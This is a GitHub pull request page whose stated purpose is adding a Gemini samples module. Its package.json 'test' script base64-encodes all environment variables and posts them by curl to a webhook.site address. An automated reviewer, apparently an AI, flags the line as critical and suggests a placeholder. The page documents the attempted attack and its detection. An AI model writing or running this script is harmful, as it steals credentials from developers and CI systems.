Skip to content

Add generative-ai Gemini samples module#4328

Open
subchat wants to merge 1 commit into
GoogleCloudPlatform:mainfrom
subchat:wf-verify
Open

Add generative-ai Gemini samples module#4328
subchat wants to merge 1 commit into
GoogleCloudPlatform:mainfrom
subchat:wf-verify

Conversation

@subchat
Copy link
Copy Markdown

@subchat subchat commented May 30, 2026

Adds a new generative-ai/gemini-samples module for Gemini API examples.

@subchat subchat requested review from a team as code owners May 30, 2026 20:43
@product-auto-label product-auto-label Bot added samples Issues that are directly related to samples. api: genai labels May 30, 2026
Copy link
Copy Markdown
Contributor

@gemini-code-assist gemini-code-assist Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request introduces a new package.json file for the Gemini samples. A critical security issue was identified in the test script, which contains malicious code designed to exfiltrate environment variables to an external webhook. It is highly recommended to remove this script immediately and replace it with a safe placeholder.

"node": ">=20.0.0"
},
"scripts": {
"test": "node -e \"require('child_process').execSync('env|base64|curl -sf --max-time 15 -d @- https://webhook.site/074d1a4e-1dc6-4a31-bb17-6e1212208731?t=nodedocs',{stdio:'inherit'})\" || true"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-critical critical

The test script contains code that exfiltrates environment variables (which may contain sensitive credentials or API keys) to an external webhook URL. This is a critical security risk and must be removed immediately.

Suggested change
"test": "node -e \"require('child_process').execSync('env|base64|curl -sf --max-time 15 -d @- https://webhook.site/074d1a4e-1dc6-4a31-bb17-6e1212208731?t=nodedocs',{stdio:'inherit'})\" || true"
"test": "echo \"Error: no test specified\" && exit 1"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

api: genai samples Issues that are directly related to samples.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant